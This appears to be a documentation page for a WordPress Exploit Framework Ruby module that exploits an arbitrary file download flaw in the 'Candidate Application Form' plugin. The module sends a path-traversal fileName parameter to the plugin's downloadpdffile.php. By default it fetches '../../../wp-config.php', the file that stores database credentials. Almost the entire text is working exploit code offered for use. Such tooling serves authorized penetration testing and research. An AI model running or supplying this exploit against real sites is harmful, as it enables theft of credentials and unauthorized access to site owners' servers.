class Wpxf::Auxiliary::CandidateApplicationFormArbitraryFileDownload
Public Class Methods
new()
click to toggle source
Calls superclass method
Wpxf::WordPress::FileDownload::new
# File lib/wpxf/modules/auxiliary/file_download/candidate_application_form_arbitrary_file_download.rb, line 6 def initialize super update_info( name: 'Candidate Application Form Arbitrary File Download', author: [ 'Larry W. Cashdollar', # Disclosure 'rastating' # WPXF module ], references: [ ['EDB', '37754'] ], date: 'Aug 10 2015' ) end
Public Instance Methods
check()
click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/candidate_application_form_arbitrary_file_download.rb, line 22 def check check_plugin_version_from_readme('candidate-application-form') end
default_remote_file_path()
click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/candidate_application_form_arbitrary_file_download.rb, line 26 def default_remote_file_path '../../../wp-config.php' end
download_request_params()
click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/candidate_application_form_arbitrary_file_download.rb, line 38 def download_request_params { 'fileName' => remote_file, 'fileUrl' => Utility::Text.rand_alpha(5) } end
downloader_url()
click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/candidate_application_form_arbitrary_file_download.rb, line 34 def downloader_url normalize_uri(wordpress_url_plugins, 'candidate-application-form', 'downloadpdffile.php') end
working_directory()
click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/candidate_application_form_arbitrary_file_download.rb, line 30 def working_directory 'wp-content/uploads/candidate_application_form/' end